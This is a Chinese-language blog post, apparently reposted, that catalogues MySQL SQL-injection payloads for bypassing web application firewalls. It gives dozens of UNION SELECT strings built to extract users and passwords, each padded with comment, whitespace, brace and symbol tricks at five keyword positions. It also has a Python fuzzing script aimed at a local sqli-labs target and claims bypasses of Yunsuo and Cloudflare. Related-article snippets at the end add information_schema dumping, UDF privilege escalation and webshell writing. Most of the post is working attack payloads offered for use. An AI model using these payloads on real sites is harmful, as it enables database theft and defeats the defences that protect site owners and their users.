MySQL绕过小结

VSole2021-09-20 16:07:23

0x01 前言

最近在网上搜集学习到关于 mysql 注入的操作,故做一个小总结。

0x02 测试

我的WafBypass之道 (SQL注入篇)这篇文章结尾部分提到的,把每个 SQL 关键字两侧可插入的点称之为”位“,类似下图:

我要总结的这些操作,也是围着这五个位,下面开始。

位置一

(1)注释符

/**/ %23 --+ /*!50000union*/

id=2/**/union select 1,user,3 from admin

(2)空白符

%09,%0a,%0b,%0c,%0d,%20,%a0

id= 1 %0a union select 1,user,3 from admin

(3)科学计算法

e .

id= 2e0 union select 1,user,3 from admin

id= 1.union select 1,user,3 from admin

id= 1.1union select 1,user,3 from admin

还有%1%2E   %2%2E    %3%2E   

id= 1'  %1%2Eunion select user(),2 %23

(4)单引号双引号

id= 1'  'xx'union select user(),2 %23

id= 1'  ""union select user(),2 %23

需要闭合的先闭合,然后成对使用单双引号

(5)x@

假设SQL语句为:select * from article where id = '2'

%@ *@ -@ +@ /@ <@ =@ >@ ^@ |@ %26@ -@'' -@"" -@@new

id='  -@ union select 1,2 ,3 %23

id='  %26@ union select 1,2 ,3 %23

id='  -@'' union select 1,2 ,3 %23

id=' -@@new  union select 1,2 ,3 %23

(6){x key}

假设SQL语句为:select * from article where id = '2'

id=' and {x -2} union select 1,2,3 %23

id='  ||  !{`x` -2} union select 1,2,3 %23

id='  ||  !{`x` -@} union select 1,2,3 %23

id='  and {x  id} union select 1,2,3 %23

id='  and {x  id} union select 1,2,3 %23

id=' and {id (select/**/--0)}union select 1,2,3 %23

(7) 其他

\Nunion select 1,2,3 %23

null union select 1,2,3 %23

(8)函数

and  MD5('a') union select 1,password,database() from users--+

 and binary @ union select 1,password,3 from users--+

and  ST_X(Point(1, 2)) union select 1,password,database() from users--+

更多内置函数查看

位置二

(1) 空白符

%09,%0a,%0b,%0c,%0d,%20

id= 1  union%0aselect 1,user,3 from admin

(2)注释

/*!*/ /**/

id= 1  union /**/select 1,user,3 from admin

(3)括号

union(select  1,(password),3,4,5,6 from(users)) %23

(4) ALL | DISTINCT | DISTINCTROW

union ALL select  1,password,3 from users %23

(5)函数分隔

%09%0A
%0D%0b
%0b%0A
%09%0C
%09%23%0A
--%0A
%23%0A
--+\N%0A
%23%f0%0A
...
union%23%0Aselect  1,password,3 from users %23

union-- xx%0Aselect  1,password,3 from users %23

位置三

(1) 空白符

%09,%0a,%0b,%0c,%0d,%20

union select %09 1,password,3 from users %23

(2)注释

/*!*/ /**/

union select /**/ 1,password,3 from users %23

(3) ALL | DISTINCT | DISTINCTROW

union select ALL  1,password,3 from users %23

(4) {} ()

union select{x 1},password,3 from users %23

union select(1),password,3 from users %23

(5)符号

+ - @ ~ !

union select+1,password,3 from users %23

" ' 单双引号

union select""a1,password,3 from users %23
union select+1,password,3 from users %23

组合

+@ +'' -@ -'' ~@ ~'' ~"" !@ !"" @$ @. \N$
...
union select+@a1,password,3 from users %23

union select\N$a1,password,3 from users %23

(6)函数

union select  MD5('a') |1,2,database() from users--+

union select reverse('xx'),password,3 from users %23

union select ST_X(Point(1, 2))a,2,database() from users--+

更多内置函数查看

位置四

(1) 空白符

%09,%0a,%0b,%0c,%0d,%20,%23,%27

-1' union select 1,2,user()%23from users--+

(2)注释

/*!*/ /**/

-1' union select 1,2,user()/**/from users--+

(3) 反引号

1' union select 1,2,password ``from users`` --+

(4)花括号

1' union select 1,2,{x password}from users --+

1' union select 1,2,(password)from users --+

(5) 符号

\N

1' union select 1,password,\Nfrom users --+

单双引号

1' union select 1,user(),""from users --+

e .

1' union select 1,password,3e1from users --+

1' union select 1,password,3.1from users --+

组合

\N%0C  \N%23  \N%27  %7E\N  %21\N  %27\N   %2D\N  %7E\N %2D%2D%0A
%27--  --%40   --%27 --""
...
1' union select 1,user(),\NXXXX%23from users --+

1' union select 1,user(),%27XXXX--from users --+

位置五

(1) 空白符

%09,%0a,%0b,%0c,%0d,%20,%2E

1' union select 1,2,user() from%0dusers--+

(2)注释

/*!*/ /**/

-1' union select 1,2,user() from /**/users--+

(3)花括号

1' union select 1,user(),3 from(users) --+  

1' union select 1,user(),3 from{x users} --+

0x03 FUZZ

很多时候,单一姿势是无法奏效绕过的,有些姿势也是需要大量 FUZZ 得到,使用大量字符编码对 SQL 语句的“位”进行 FUZZ,编写了一个简单Python脚本演示。

Python脚本

import requests
import itertools


List = ['%20','%09','%0a','%0b','%0c','%0d','%2d%2d','%23','%a0','%2D%2D%2B','%5C%4E','\\N']

count = 0
num = 2 #fuzz num 个字符组合
target = 'http://localhost/sqli-labs-master/Less-1/?id=-1\' '

for i in itertools.product(List,repeat=num):

    count += 1
    print(count,':',len(List)**num)

    str = ''.join((i))
    payload = '{}union select 1,user(),3 from users %23'.format(str)
    url = target + payload
    req = requests.get(url=url)

    if "root@localhost" in req.text:
        print(url)
        with open("result.txt",'a',encoding='utf-8') as r:
            r.write(str + "")

云锁

fuzz 位置一利用空白字符、注释、浮点数等生成2个字符组成的有效 payload

Burp跑下,得到状态为 200 就是绕过的字符串,这里建议请求访问频率设置慢点,太快会被ban ip。

绕过

cloudflare

0x04 参考

https://mp.weixin.qq.com/s/qG_m7YXvEw2PwFXQDj6_qw

https://www.ms509.com/2020/06/24/Waf-Bypass-Sql/

https://xz.aliyun.com/t/368

mysqlselect
本作品采用《CC 协议》,转载必须注明作者和本文链接
SQL快速注入漏洞技巧
2021-12-18 07:46:43
SQL快速注入漏洞技巧
分块传输吊打所有WAF
SQL 中最强大的也是最复杂的就是查询部分。
id=3';对应的sql:select * from table where id=3' 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 没有报错,说明存在3列爆出数据库:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出数据表:?id=1' and extractvalue--+(爆字段)?
id=1' order by 3# 没有报错,说明存在3列。id=-1' union select 1,group_concat,3 from 数据库名.数据表名--+拓展一些其他函数:system_user() 系统用户名。updatexml函数:细节问题:extractvalue()基本一样,改个关键字updatexml即可,与extractvalue有个很大的区别实在末尾注入加上,如:,而extractvalue函数末尾不加1(数值)?
前言本次审计的话是Seay+昆仑镜进行漏洞扫描Seay的话它可以很方便的查看各个文件,而昆仑镜可以很快且扫出更多的漏洞点,将这两者进行结合起来,就可以发挥更好的效果。$sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5.'"';验证码的校验代码if ($_SESSION['verifycode'] !该文件的含义是用0-9中的任意四个数字作为验证码,也就是说js引用该文件来产生验证码。wap/seacher.php昆仑镜扫描利用seay查看源码//这只是一部分,具体的师傅们可自行查看此文件
如果流量都没有经过WAF,WAF当然无法拦截攻击请求。当前多数云WAF架构,例如百度云加速、阿里云盾等,通过更改DNS解析,把流量引入WAF集群,流量经过检测后转发请求到源站。如图,dict.com接入接入WAF后,dict.com的DNS解析结果指向WAF集群,用户的请求将发送给WAF集群,WAF集群经过检测认为非攻击请求再转发给源站。
MySQL UDF提权
2021-12-01 07:56:57
sqlmap中的udf文件提供的函数:sys_eval,执行任意命令,并将输出返回。sys_get,获取一个环境变量。sys_set,创建或修改一个环境变量。
MySQL写马详解
2022-01-17 06:19:50
MySQL写马详解
VSole
网络安全专家